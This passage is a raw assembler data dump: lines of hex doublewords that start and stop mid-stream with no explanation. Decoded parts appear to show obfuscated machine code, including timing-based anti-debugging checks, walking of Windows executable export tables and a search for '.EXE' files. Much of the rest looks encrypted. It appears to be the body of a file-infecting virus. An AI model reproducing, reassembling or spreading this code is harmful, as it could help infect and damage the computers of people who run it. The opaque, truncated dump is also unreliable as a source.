7EBC2960h dd 0BE334788h, 0CBB21730h, 33310215h, 0F180B2ADh, 0E5E42C36h dd 0AF8A6A68h, 0BE31B930h, 0ED676D44h, 0BE334788h, 0CBB21730h dd 33310215h, 0F183A3ADh, 0E5E42C36h, 0EE378368h, 0BE37F7D8h dd 7D6F5A30h, 9A73B468h, 9A731F34h, 0BE375834h, 7D67E730h dd 66480C69h, 0E0085B67h, 0ADDF34BBh, 0F0377A30h, 0CCB22A5Ah dd 0F8D4BA19h, 16355990h, 7B8E2B47h, 3F38F8BDh, 0BE37E936h dd 0BE377F3Fh, 336E7A30h, 0EC5FD8ADh, 0A7BF9136h, 57374F30h dd 0BE37A724h, 328AA0ADh, 6A29864Fh, 6E35DACAh, 776FB194h dd 1B289897h, 0DBD61BBDh, 33384962h, 0BE37A731h, 0B1E72CC9h dd 0BE37F9B6h, 0BE3C1D30h, 8FD57A30h, 41C08767h, 4BF60581h dd 0B1F744C7h, 0BE3792B4h, 4780DC30h, 0F3D274BDh, 751F27Dh dd 0BD8FF0AFh, 0DE373D30h, 0BE351C3Fh, 0E6664F30h, 0FEED2763h dd 3238B269h, 0BE37E937h, 0BE36773Fh, 41C27A30h, 8F2487D3h dd 23BAB950h, 0B86527DDh, 5662A75Ah, 0BE37D333h, 0E3F4B410h dd 0BA1398B9h, 0BA133EB1h, 0BE373D25h, 0F8F4CB75h, 5FB2C218h dd 0B131F555h, 0BE37D1B0h, 41CC6230h, 0E9379EE0h, 0BE3779D8h dd 7D681D30h, 9A4B176Fh, 9A73CE34h, 0BE37B034h, 7D609430h dd 0EF6D9371h, 0BE37F1D9h, 0A4742830h, 3338C4B9h, 0BE379E30h dd 3A388F3Bh, 0BE37A741h, 5667D35Ah, 0BE37E933h, 0E6F4AC10h dd 0BA133EB9h, 0BA1379B1h, 0BE379E2Bh, 4F41F70h, 0E095657Dh dd 0B19A2F78h, 0BE37EEB6h, 0BFBFFB30h, 47377A30h, 0BE3BBE3Fh dd 37389E30h, 0BE374F36h, 565748B1h, 23BAC40Ah, 0B87AA4D5h dd 3F6758Fh, 9381A47h, 5A6683C1h, 656B0F2h, 0BE374F31h dd 0BE37ABD9h, 1FCF4630h, 46A85B0h, 98F80095h, 0BD48529h dd 4CAAB0D8h, 0D431CC58h, 0BDDF1930h, 9E37A730h, 3769106Eh dd 3F33CD44h, 0A433D074h, 0F8377A30h, 0F29FE66h, 14F023D4h dd 0BCB7408Eh, 3437A730h, 5FB25EDCh, 4131BB55h, 71BC92E0h dd 3A38BA3Bh, 0BE373D19h, 33FF213Fh, 0F37AAAADh, 0BE274E36h dd 632CD330h, 6E648F60h, 108FD9BFh, 0F5DFF437h, 0BD8FE81Fh dd 41379E30h, 4FBC1FD3h, 938E469h, 658A5EFFh, 3331BB58h dd 0EC5B0FBDh, 0E24AC236h, 3B04B77Bh, 0B87A8FA9h, 57F6801Bh dd 0DD23BA32h, 5AB86527h, 335662A7h, 10BE37D3h, 0B9E3F4B4h dd 0B1BA1398h, 5E9833Eh, 0C08BA4F3h, 0F528BE66h, 7D6717BFh dd 0E8C38B41h, 0Ch, 60295660h, 0A84B9328h, 0C1ED5C26h dd 0DE816657h, 595EE865h, 8B1A7FB9h, 0E8C08B73h, 0Bh, 0D574DC35h dd 0D8DD1330h, 8B5E4E4Ah, 0BF0F5EC8h, 0D9BD83D2h, 64D1Bh dd 0BD830975h, 64D0011h, 50197400h, 0B8C08B53h, 47Ah, 31A58589h dd 9D8D064Dh, 64FB77Ch, 585BD3FFh, 11BD83h, 7400064Dh dd 0B8535017h, 47Ah, 31A58589h, 9D8D064Dh, 64FB41Dh, 585BD3FFh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0F7C35242h dd 113451D5h, 0A5B5157Ch, 0AE9h, 548EFB00h, 0D65E8858h dd 8B4AF39Eh, 11E8C0h, 6F120000h, 770545CBh, 8FC1F563h dd 1A2E0294h, 666ACA96h, 8158D38Bh, 6F09C0h, 0FB8B6600h dd 890FC933h, 11h, 8E8h, 2C241400h, 97C42719h, 0F9BF0F7Ch dd 134FF5Bh, 85CAC781h, 0B25E7B51h, 0D8EE813Dh, 534E11BDh dd 5BFE8B66h, 6AABEE81h, 830F45C4h, 5, 154896BFh, 0D0EE816Ah dd 0F3EB78Ah, 6056D8B7h, 1FE6B966h, 8048F61h, 83D4DA80h dd 0F5201E9h, 38Dh, 0D2BF0F00h, 4949495Fh, 11E8h, 0E1706200h dd 44F57C71h, 0FEB8DD33h, 0F74B9000h, 820F27A6h, 4, 6527BF66h dd 0D4F9815Fh, 0FFFFF91h, 0C85h, 29E900h, 28340000h, 12EF0C77h dd 128B0F60h, 0E8000000h, 0Bh, 8E009C72h, 5864B853h, 0F52C5878h dd 0FF5BE95Fh, 8E5FFFFFh, 0E9D5F230h, 266h, 0D98C6660h dd 0F04C1F6h, 3584h, 0FF016A00h, 4D1431B5h, 0D7858D06h dd 0FF065075h, 0C18589D0h, 8B064D1Fh, 0CEFC1FEh, 6000068h dd 6A006A20h, 0D685702h, 0FF000100h, 4D1FC195h, 32E906h dd 85C60000h, 64D26E5h, 30DF6856h, 0B5FFA9C5h, 64D0B29h dd 75D7858Dh, 0D0FF0650h, 2F6D8589h, 858D064Dh, 64D2EE5h dd 6A406A50h, 95FF5605h, 64D2F6Dh, 0C361h, 2 dup(0) dd 8B520000h, 428B60D4h, 44858908h, 8B06526Fh, 85890C42h dd 6526F3Ch, 8910428Bh, 526F4085h, 7AB58D06h, 8D06526Fh dd 5B7E3585h, 61D0FF00h, 0CC25Ah, 6F44B58Bh, 858B0652h dd 6526F3Ch, 6F40BD83h, 0F000652h, 784h, 0E9068900h, 2 dd 0CF0688h, 0 dd 52000000h, 8B60D48Bh, 85890842h, 6526F44h, 6FCBB58Dh dd 858D0652h, 5B7E35h, 5A61D0FFh, 6F44858Bh, 4C20652h dd 44858B00h, 8B06526Fh, 44858900h, 0CF06526Fh, 0 dd 0A1B58960h, 8906526Fh, 526F9D85h, 99858D06h, 8B064D12h dd 85894440h, 6526FDAh, 7010B58Dh, 858D0652h, 5B7E35h dd 8B61D0FFh, 526FA185h, 9D8BC306h, 6526F9Dh, 3C43B70Fh dd 5B8BD803h, 9D9D0378h, 8B06526Fh, 0B5032473h, 6526F9Dh dd 207B8B56h, 31C738Bh, 526F9DBDh, 9DB50306h, 0FC06526Fh dd 41FFC983h, 6FA19D8Bh, 178B0652h, 6F9D9503h, 0C7830652h dd 84028A04h, 0F840FC0h, 3A000000h, 0DC850F03h, 43FFFFFFh dd 0FFE7E942h, 33AFFFFh, 0FFCD850Fh, 0D15FFFFFh, 4B70FE1h dd 86048B0Fh, 6F9D8503h, 85890652h, 6526FA1h, 0CE8BF08Bh dd 0BD81C18Bh, 6526FDAh, 0C0300000h, 0D850Fh, 0E8C10000h dd 0FFC2514h, 8E90000h, 0C1000000h, 0F82512E8h, 8B00003Fh dd 526FDABDh, 70C8306h, 7148B06h, 8124C28Bh, 0C18B813Ch dd 57840Fh, 0BD810000h, 6526FDAh, 0C0300000h, 0D850Fh dd 0E8C10000h, 0FFFC250Ah, 8E9003Fh, 0C1000000h, 0F82509E8h dd 2D007FFFh, 40000000h, 0F7060883h, 8000h, 1E840F00h dd 81000000h, 526FDABDh, 30000006h, 0E840FC0h, 25000000h dd 3FF8h, 808Bh, 883C060h, 858DCF06h, 6526F48h, 11F58589h dd 858D064Dh, 6526FDEh, 152D8589h, 858D064Dh, 6526FA5h dd 22358589h, 8D8D064Dh, 6527255h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 0D2C35343h, 703542F4h, 66B85F5Ah dd 0B3FDEE81h, 5998D89h, 6A064Dh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 830A3FC3h, 5F566060h dd 633312B8h, 8E86169h, 0B7000000h, 0F8D9BA99h, 0BFCEE215h dd 13D726ECh, 85C7615Ah, 64D051Dh, 6A38h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Ah, 0ECC35040h, 0DEC0D249h dd 8D890AACh, 64D0315h, 2E985C7h, 64Dh, 95290000h, 64D0EB5h dd 25F9B5FFh, 6A064Dh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 0E001CC3h, 1786FB1Dh, 0E98BFD11h dd 0Ah, 99CCFECCh, 0A6E40471h, 95FFA606h, 64D2E55h, 21B5BD2Bh dd 8501064Dh, 64D226Dh, 95FF006Ah, 64D0511h, 2CEBC08Bh dd 8AE43885h, 0C8AB1049h, 18F9AE72h, 0C6D21F5Ch, 1A81BEE0h dd 490E743Fh, 1B306D7Ch, 4651D700h, 150AC1F6h, 992D563Ch dd 0C611BE70h, 13CE9h, 4Fh dup(0) dd 79BD8300h, 1064D2Ch, 669840Fh, 9E90000h, 0FB000000h dd 71E3C52Fh, 88687EAEh, 8E9h, 6E473F00h, 6A9C5DDh, 0E585C6F7h dd 43064D26h, 3830F60h, 80000000h, 0E86103E5h, 4, 0ECA5D0F5h dd 9E860h, 0FE530000h, 14D3AB09h, 50C6A714h, 5A310F52h dd 8B665958h, 605061FEh, 5051D38Bh, 5A310F52h, 8B615958h dd 0F042444h, 1189h, 0CE900h, 0C7C40000h, 0E107A70Bh, 1E83DEh dd 8B61F0h, 61605160h, 61C18B5Bh, 4244489h, 9E9h, 0BBE40700h dd 91B6FFC6h, 6058D038h, 8E30EF81h, 0BE90ABCh, 3D000000h dd 9768030Fh, 96D32DC0h, 0FF617751h, 4D0B29B5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 0C58E9AA1h, 1E830F1Ch, 0F000000h, 1885h, 13E900h, 0EF790000h dd 9EC10299h, 0F1986244h, 29DA1DA7h, 449CD61Ch, 0D7858D38h dd 6A065075h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 0C094C352h, 14E91580h, 0FC000000h dd 0F4C088CAh, 0FD4B66F8h, 34F6D38Dh, 5B9C1B5Ch, 0FF7BCBA5h dd 8589FCD0h, 64D25C1h, 7E960h, 52AB0000h, 17F20A8Ch, 78F081DDh dd 613EF7B1h, 26E585C6h, 0F50064Dh, 885h, 28E0F00h, 60000000h dd 975B6861h, 0B360B5C9h, 348161F8h, 643A0D24h, 8E91Dh dd 66130000h, 7680CB6Ch, 0B5FFEB85h, 64D0B29h, 0D7858DF5h dd 0E9065075h, 11h, 88612B0Dh, 3B80E621h, 0A99C518Dh, 53C6D74Fh dd 0D0FFFC30h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 0F7C35545h, 0F468D6Eh, 0A88h, 5E900h, 2BF60000h dd 8956B070h, 4D054185h, 0DE906h, 49DC0000h, 0DF72AB62h dd 0CF00E35Eh, 0E8EC2AF2h, 4, 0F08FA82Fh, 5E9h, 0DECE9D00h dd 60504FD2h, 0FDACBE66h, 10E8h, 9FBB0B00h, 30526748h dd 0E86448D6h, 0D3F28EB1h, 8B61594Dh, 0E9042444h, 11h dd 0D906A34Bh, 7ED11D7Ch, 0FCAC1829h, 0DA7B2FD1h, 60008BA7h dd 0AE95250h, 1000000h, 9D2D9295h, 573ABD29h, 50310F7Dh dd 5A310F52h, 0E9585A58h, 0Ah, 8EDF2232h, 0ACABA4B0h, 8961D741h dd 0F042444h, 1E81h, 10E86000h, 29000000h, 0CA151033h dd 7A47DBD7h, 0AF522E0h, 5B6FD6C1h, 310F5250h, 5861585Ah dd 29B5FFF8h, 0F9064D0Bh, 0D7858DF5h, 6A065075h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 560CC356h, 0F713F3Dh, 181h, 0D0FFF900h, 13E9h, 98231300h dd 66BF1E88h, 0BED0E10h, 8F5ED315h, 1BC7544Bh, 2E2D8589h dd 7E9064Dh, 0D8000000h, 9FE5CF89h, 85C60432h, 64D26E5h dd 0DE96050h, 0B2000000h, 4A8804E5h, 483DC91Eh, 0FD197215h dd 676432BAh, 5E96130h, 5C000000h, 0A71181F7h, 4E8h, 9CDC5600h dd 0E9525097h, 8, 1E60CF5Eh, 0CEFEBE07h, 0BA60310Fh, 3574D515h dd 5A61CF8Ah, 52505058h, 52505250h, 585A310Fh, 6160310Fh dd 310F585Ah, 0BE9h, 592AC100h, 58CAAC9Eh, 0DAE867AEh dd 448B585Ah, 0B8600424h, 5DF1B3E0h, 0E9008B61h, 0Bh, 0E0D5E449h dd 0F7FD25F7h, 89956C98h, 0F042444h, 1E8Ch, 11E86000h dd 33000000h, 3F6DE5D5h, 0A6E2BDA1h, 0D5467E64h, 0CBC42B1Ah dd 0F751BB5Eh, 58617C08h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 80C35747h, 6660195Bh, 2CF0C281h, 18F0Fh dd 61F50000h, 31B5FFF5h, 60064D14h, 66E6F180h, 61622EBFh dd 3906858Dh, 6A064Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 3D80D8C3h, 5DA2FB39h, 0F56FB3C0h dd 0A810Fh, 8B600000h, 820FF7h, 61000000h, 0F9F9D0FFh dd 1B9D8589h, 5760064Dh, 12E9h, 0B9D6D300h, 945FA69Fh dd 9124A712h, 0A6C2E97Eh, 5F9DAA44h, 61C6BF0Fh, 216E9h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 558F0858h, 576060C8h, 0EE95Bh, 43070000h dd 0AAA102B9h, 0D4E81108h, 4B693B5Ch, 0CE961h, 0A0CE0000h dd 5612FD0Eh, 0B60C902Bh, 956148D0h, 0E9525060h, 10h, 0C246E524h dd 0C33FBFADh, 8DB49C66h, 0FDD8B6A4h, 585A310Fh, 58515250h dd 0F18B310Fh, 5061585Ah, 12850Fh, 66600000h, 8E9D88Bh dd 24000000h, 84D0225Dh, 613A1D47h, 12E86095h, 0EB000000h dd 0D7F44D8Ch, 6191B1D5h, 0FC297AF6h, 4CC5BEBCh, 11E8FCh dd 0D78E0000h, 0E4506B3Fh, 0E0EB5122h, 0CEFB25ADh, 5B42DAACh dd 9E958h, 79FC0000h, 7EC383Dh, 61A77A6Ch, 8A0FEC8Bh, 0Fh dd 6E960h, 6E080000h, 5ABAD0F8h, 83615853h, 6AFCC4h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0F70890C3h, 0FC168BDh, 0A8Ch, 5E900h, 8E0A0000h, 60380EF5h dd 0D3816660h, 9E980DBh, 17000000h, 0A2C1DEAFh, 0EEA3735Bh dd 0E861h, 815A0000h, 527958EAh, 0FC45C706h, 0 dd 2C79BA83h, 0F01064Dh, 9884h, 6A5200h, 92FF0F6Ah, 64D25C1h dd 8B82895Ah, 8D065272h, 52728F9Ah, 3C75206h, 128h, 92FF5053h dd 64D0541h, 9A8D525Ah, 652728Fh, 8BB2FF53h, 0FF065272h dd 4D1B9D92h, 0C00B5A06h, 9A8D5074h, 652728Fh, 33247B8Dh dd 4F981C9h, 74000001h, 3C8141D4h, 58452E39h, 8DEE7545h dd 752B3934h, 85BA8D0Ch, 8B064D18h, 0A4F30C4Dh, 52AAC032h dd 8D0875FFh, 4D188582h, 92FF5006h, 64D2E2Dh, 75C00B5Ah dd 0FC45C7A0h, 1, 45C707EBh, 0FCh, 458B6100h, 8C2C9FCh dd 8BB86000h, 6018F016h, 0E909E680h, 0Ah, 0BDC007E0h, 53568A8Bh dd 61614740h, 0AE9h, 0ED76B800h, 13409F43h, 8B353EEDh dd 10E8D2h, 0C4A40000h, 91DB79B2h, 5C53926Bh, 82608308h dd 0DE824D0h, 0B5000000h, 2BD531D0h, 0A49A1749h, 5E96F615h dd 8B665B5Eh, 0F2C381C2h, 60000067h, 0AE9h, 0FCD08A00h dd 0FA2CAF95h, 81D68356h, 67CCA2D3h, 686139h, 0E9000000h dd 0Eh, 64C7D706h, 66F2D389h, 8834426Dh, 0F85F9F9Ah, 0E93B0C8Bh dd 0Fh, 0E84E2CE3h, 5598460Bh, 90B89FABh, 815B7393h, 4B60E6F1h dd 58D0F67h, 66000000h, 6644EA81h, 0BD96C181h, 8E0F4190h dd 3, 81F7B70Fh, 0C1350EF1h, 12810F2Ch, 0E9000000h, 0Dh dd 33F63807h, 0E3F77EF7h, 9D34BDABh, 860F516Ah, 7, 0C6BF0F60h dd 8F616160h, 880F3B04h, 4, 44E7BE66h, 8104EF83h, 0FF98F0FFh dd 81850FFFh, 0FFFFFFFh, 386h, 64C08000h, 7BF28D8Dh, 6A0652h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 835ABCC3h, 76B86660h, 0F68166D7h, 8961AB6Fh, 4D05998Dh dd 0C7A3B706h, 4D051D85h, 65A406h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 24788433h dd 85C78980h, 64D02E9h, 0 dd 6830Fh, 858B0000h, 64D0D45h, 227DB5FFh, 6A064Dh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 3AA8EFC3h, 1C084F94h, 0BB668A87h, 66509236h, 5B2C76BAh dd 2B219D8Bh, 95FF064Dh, 64D2E55h, 3820Fh, 0E2800000h dd 0FF006AB8h, 4D051195h, 0EBC08B06h, 0EB6B1869h, 0B96020C2h dd 0D32E0DB1h, 43D60DE9h, 291F79FEh, 1426F0AFh, 0FD63FF19h dd 1B2B0FD5h, 7F66A4BDh, 11C49959h, 7193AEECh, 80959FFEh dd 0F161D2D0h, 0C03EFEAEh, 87B6FD8Ah, 0A03CBF34h, 26667D6Ch dd 0E24713B2h, 0AE115658h, 0FBCD32DEh, 0BFB5F1D6h, 5A966AF7h dd 55DD3E45h, 1C9FAFDEh, 52B0AC8Ch, 0B4E01C53h, 8EB24A1h dd 1EDCB4C1h, 77E7339Ch, 0DE2E9h, 7E106800h, 4AE90652h dd 68FFFB03h, 6527EFFh, 0FB0340E9h, 80B368FFh, 36E90652h dd 68FFFB03h, 65281F7h, 0FB032CE9h, 83AE68FFh, 22E90652h dd 68FFFB03h, 6528630h, 0FB0318E9h, 87C068FFh, 0EE90652h dd 68FFFB03h, 65288D1h, 0FB0304E9h, 0C86E34FFh, 6B11DCBCh dd 0FB57F5Fh, 0B0562303h, 55FBC4A4h, 0F0A14749h, 95758127h dd 3C1C28CEh, 0DEBECA70h, 0CD647016h, 0A4AFD100h, 7782D4FCh dd 1AAD7537h, 0FC41AA50h, 926EADC0h, 55A4B74Ah, 0C75A2280h dd 0E21156FCh, 0DB4E319Eh, 7CC12A93h, 3180002Fh, 48B1DB4Eh dd 4D88E5F9h, 316C1443h, 5CC5DB4Eh, 4C7FAEF3h, 5D1374Eh dd 0D4A0CF9Ch, 0ACD50115h, 96F4063Eh, 0FE5C29CFh, 0D3228B31h dd 5835D56Dh, 5302B6h, 86400000h, 6AB95F28h, 0E126468Fh dd 7524CEA5h, 62B1B099h, 289DE615h, 3BA4D137h, 28353F6Eh dd 0FC4BD501h, 2150D29Eh, 0D501285Fh, 330069D2h, 324E7DC2h dd 0FFD50128h, 69DB4796h, 0EC5D2987h, 0ECCA3E95h, 8D53E5Eh dd 40E24897h, 77B65B0Bh, 0B8h, 5C2886B5h, 2978E9B6h, 0DE9203CBh dd 1A1A655Fh, 0E9B87A49h, 0A71004FEh, 4A13713Eh, 0B179D7A4h dd 18E03E0Bh, 0EB56672h, 0A8DB4E7Bh, 512F5EE0h, 0E0DB4E70h dd 22020E77h, 5A00C75Ah, 8C4924F1h, 1F4E9BE0h, 0DB4E7061h dd 0CB1867D0h, 3797539Ch, 4955BED1h, 3E83E9ECh, 0F202800Fh dd 2368D1CAh, 4A56FCC5h, 440EA16Ah, 171D359Eh, 0B5987E51h dd 0B90C2E0h, 0BF850000h, 622D0D19h, 6D0B0BCh, 0A7745460h dd 4C15F501h, 10989AA6h, 0C4D0763Fh, 6B771DE4h, 0D19BF8Bh dd 0B3BF652Dh, 60204F1Ch, 0D1D4FCA2h, 0AC7586C6h, 521AFA06h dd 95D1A0ACh, 0EC5A2BEh, 29F14097h, 4A8FDDF8h, 0B17E24ECh dd 75A4F140h, 0D138210Eh, 0B0FDCA33h, 1A5B4574h, 0A3F2C818h dd 1390074h, 521280D5h, 5BAA9FA7h, 0B83CB6h, 757A0000h dd 0DC3A07ADh, 0EB48013h, 9A67D041h, 8228EF4Dh, 25BF0433h dd 2FF7DB4Fh, 0D59D7D89h, 4E87622Fh, 1B6D1342h, 3E5BDB4Fh dd 34B0E1EEh, 0FD66CF9Ah, 0EC925AB8h, 0FB3428B8h, 0D8273803h dd 0C2F13E8Bh, 0DB4ED2BEh, 8CBB0A73h, 0D137F963h, 0A20045AEh dd 0CDE130D6h, 0C2076570h, 0F261ED93h, 96DB44CAh, 0B3CDFC49h dd 7ECEB1F9h, 9F68C615h, 440DEDF9h, 0FAE8869Eh, 3F14987Eh dd 0AA121h, 8AE7400h, 0AB511CFCh, 4FF5BF9Fh, 0F0966343h dd 953B04E4h, 30618789h, 0D5B5C167h, 7C5C680Eh, 1EFE0AB0h dd 0DA4B056h, 0A26F1140h, 0B7C2D4FCh, 6AC7577h, 0AC521AFAh dd 4A8656A0h, 0E866C5DDh, 4AA75DDh, 0E5DC637h, 7542E8B0h dd 0F4BC4F17h, 0AD9E54Eh, 6DF28EBDh, 0D63FDB4Eh, 4329AC87h dd 3275B1FEh, 7F25EFC2h, 290D41B2h, 83B2016Bh, 0D137F770h dd 680ED937h, 10DD4619h, 1D192E1h, 0B53704D5h, 1D1FA86h dd 65CE37D5h, 0CC723A98h, 4AFADEFFh, 0BAAA1884h, 5B71273Fh dd 0B5B3EFB6h, 29478ECCh, 1BEC54A3h, 2A000007h, 4A8FDDF8h dd 382CF01Bh, 400B61D1h, 0F35CCD9Ah, 147DF726h, 0B403D502h dd 1BE88E56h, 75EF5BAAh, 5B32F88Ah, 0F5FE3AB6h, 0B95F2C60h dd 2133E985h, 6E46AD2h, 0C5230000h, 0DF0E53F9h, 0D501CCA1h dd 10D82790h, 4A8FDDF8h, 3852301Bh, 0EBB821D1h, 1EFB8BCh dd 0EA5AC8D5h, 5B0F57EFh, 6B884B6h, 86C20000h, 20760A39h dd 65BBDB4Fh, 0B526F399h, 0A8D8074Ch, 89DB4F20h, 0C3F0D120h dd 266B01D4h, 384768F7h, 0E6B10FD1h, 0B51EF140h, 2317446Dh dd 3D2A913h, 79BECA9Eh, 87117D9h, 51DC87C3h, 0F95F3547h dd 0F52E5DAAh, 0C3ED5E6h, 0D0E0B3D8h, 268F4ABFh, 4F3AA5E1h dd 2256FCC7h, 3D8C61A2h, 0F0BD1B68h, 0B520FB4Ah, 3B4372B7h dd 0F6388932h, 0C0FE82B1h, 0DD333C52h, 0BF046D13h, 52C0F090h dd 6FD8413Ch, 0D2AEDD2Ah, 5F3C52C0h, 0D1628E2Bh, 0C831D3D9h dd 6CE2C79h, 0AC745460h, 0F7AEE06h, 9D720A1Fh, 8ED7Fh dd 0BC622800h, 5F05D0B0h, 3A97353h, 0A44A17F7h, 49EFB898h dd 0E4B53B3Dh, 8969751Bh, 30101CC2h, 0D2B2BE64h, 0C158640Ah dd 0A0BBC5F4h, 6B76D4FCh, 7AD752Bh, 0F6765F3Ah, 9E5C82B1h dd 2C95D122h, 0A6B56F20h, 7EE3D4FCh, 0F8FEA106h, 7A5887F0h dd 69C70CB2h, 0CF2DFAA0h, 0AAF96208h, 0E0A13996h, 1E629113h dd 13D4FC72h, 93D841AAh, 0FC722464h, 0FDC71DD4h, 0D421EE57h dd 72285887h, 0A009D4FCh, 852BF351h, 0BCC4F340h, 75D4FC71h dd 0F8A9BD0Ch, 0D4FC718Ch, 0ACB85E2Ah, 195E04CCh, 0A71F78DDh dd 0B6E5E64Dh, 0D4FC56CAh, 6195FE67h, 90BA4885h, 966BBA60h dd 0FCC30D67h, 60E4D0D4h, 0F7CD528Eh, 3530D956h, 1AC088E6h dd 0C0662E0Eh, 0AE541D7Bh, 4C2170E1h, 0FCD3571Dh, 0AC987CD4h dd 0C0EF7139h, 0D4FCB3C0h, 939F0871h, 60B488C4h, 0F1116F9Eh dd 0B720D4FCh, 0FA383483h, 13D8DABh, 75430000h, 0ED3A07ADh dd 0CD1CC28Fh, 4710A36Fh, 0E5275D6h, 8EF74D33h, 57295825h dd 4FDB4EE5h, 842AF487h, 62734E1Bh, 3C78C50Ah, 0CFF8858Bh dd 23C992DCh, 0A23C6BBAh, 4FD121F3h, 0FA64CEE6h, 734892B0h dd 7A955h, 0A66C00h, 0A34914F4h, 47EDB797h, 0E88E5B3Bh dd 8D33FCDCh, 28697F81h, 0CDADB95Fh, 74546006h, 16F602A8h dd 59CA84Eh, 9F770938h, 0AFBAD4FCh, 7AD756Fh, 8013DC3Ah dd 0B15720B3h, 3D0A73E4h, 0D65698CCh, 0B4483AE9h, 12703F4Bh dd 0F856A54Bh, 0A6F8BB2Ch, 0C54A894Bh, 0F0B9175Ch, 0BD0C7D4Ah dd 6E01C9A9h, 8995FEA4h, 6D3AE0A9h, 5BA0460Fh, 419036FDh dd 2E167C6Ch, 404CF2BBh, 1626CE58h, 0DDAA08B0h, 0BDC3F237h dd 74DB4EC8h, 0E54BC0Bh, 92000000h, 0B55B2886h, 0A2877E8h dd 0BFh, 7AD75C0h, 30690B3Ah, 662DDB4Fh, 0CC95F3C0h, 54385926h dd 0DDC1DA10h, 6C379567h, 3988F9C6h, 616D13DBh, 420FB581h dd 4F106013h, 0F86936DBh, 38EA1295h, 7C49B2BFh, 1AE0511Eh dd 46674515h, 0FB713EA7h, 0FD21D78Dh, 0E6B2550Fh, 7653440h dd 39DFAA3Dh, 75B981D0h, 0A84E16A9h, 4C146ADBh, 0FF68D9A6h dd 6208D432h, 53FA595h, 28CE95F3h, 76A5EA5Bh, 0DB4F210Ah dd 116FBE27h, 43E9B245h, 0C3FFCEDAh, 4ACEA955h, 305FA42Fh dd 0DB4EC150h, 0FA2978E1h, 0DB4EC990h, 7C81C48h, 86EF7A3Bh dd 16121D28h, 0FE71BCB0h, 86FAFFFFh, 69B85E28h, 3794Bh dd 0C1407C00h, 80689E36h, 75CB93E2h, 64C207ADh, 0CFA4F399h dd 4F20E4A0h, 0C50148DBh, 0A3F0A173h, 0F05CAB2Ch, 58C99174h dd 0F3DFE244h, 0E2EE571Eh, 0DCA73A02h, 0B300CD36h, 97E68C55h dd 4EB81C68h, 2CD29ADBh, 3F51845Fh, 4EB77010h dd 0EF58C1DBh, 35637BAAh, 258ED122h, 0B1382F0Dh, 8AA87D92h dd 5F2h, 0ABB75D23h, 4E5A00CBh, 0F2FEA46Eh, 939F4512h dd 3844EAB3h, 14DDB236h, 0BB82626Eh, 5D290915h, 3CBABB7h dd 0EDBA515Dh, 0FC9DC2BEh, 24646FD4h, 3A07AD75h, 1DC38FEDh dd 3290DF50h, 0D7B7C369h, 7D5D690Fh, 7CC90EB4h, 4F20334Dh dd 6AC73DBh, 5E8DD23Bh, 0DB4F2122h, 8257A60Fh, 70B55B24h dd 9059DE34h, 4ED41F61h, 75A912DBh, 0E3320218h, 9BD71E0Eh dd 0BA094176h, 0B92574AEh, 0FC8F588Bh, 4EBF8C32h, 51F1D9E5h dd 0A1B0163Eh, 285B2554h, 6DD6DB4Fh, 27CB61Eh, 0F8F40000h dd 8EBD8AE2h, 0D85E1FD8h, 0AA66D79Eh, 0C21FD9B5h, 9DD9A60Fh dd 70FD7B66h, 78449A14h, 0B71D05D2h, 92657C8Dh, 7B1ACFBAh dd 0C38A612h, 0F8A8B1D1h, 5723814Eh, 8855FBC4h, 0F75FAE17h dd 23Ah, 8AE2F835h, 206A1645h, 5EC7DB4Fh, 20046291h, 0EE5CD85Eh dd 0C0FB8B76h, 0FF3B4EF8h, 0C287529Ch, 180CBD8Bh, 21550D73h dd 0B0169B8h, 3F000002h, 0DBBFE2F8h, 32A5445Dh, 88B7FC65h dd 0DB4ECAF4h, 2F3A76C3h, 593C1078h, 0D195EB12h, 4811DB4Eh dd 1F6ED7A2h, 982BF64Ch, 56BF28CEh, 0D10C5A89h, 0E654D85Dh dd 73E3837Eh, 0CB184EF9h, 56000001h, 760A3986h, 0BBDB4F20h dd 0A2DE0D52h, 8FDB4F20h, 0DEFCD726h, 0B7045196h, 4F20F888h dd 1CE339DBh, 0CF38A976h, 20375180h, 0A10ADB4Fh, 1EC1A5D4h dd 0E9B5D85Eh, 4F187643h, 8EF4DCA9h, 65B420D6h, 45943A07h dd 0D6706BD9h, 54EF93Eh, 17Ah, 3E4271BEh, 0F3DC6028h, 75733B8Ah dd 0A84E1AADh, 0A6BEFA3Fh, 8F0B7DB3h, 0C11FF443h, 0EA4753F9h dd 0D3C81EBh, 0D13743BEh, 57EEDD19h, 3CC9D295h, 6CB11AEDh dd 4D9C420Eh, 642B4978h, 0E755D500h, 82E0827Dh, 2517B658h dd 55000000h, 4A8FDDF8h, 3820681Bh, 3A015FD1h, 9724594h dd 20670D3Ch, 0AB19D502h, 42243EB9h, 0CAD3B65Bh, 11000000h dd 0C207AD75h, 203A4675h, 0A56CDB4Fh, 0F6C132FFh, 20FE82B1h dd 0CA33DB4Fh, 0DF3D1261h, 45A37016h, 0AC0AD77Dh, 0F1BD73E4h dd 0F8CF3686h, 0F1D2838Fh, 0D6DB4E64h, 3C09AF78h, 561E7CCBh dd 5ADBA5D4h, 0ED56DB4Eh, 6DA97884h, 0C639CEEAh, 3E1968AAh dd 6190D597h, 0D13EF2A1h, 0DE713A90h, 2E9F6C12h, 0B9175CC5h dd 5E3E4AF0h, 73D7EF95h, 3D92B345h, 3704A68h, 0DFA50000h dd 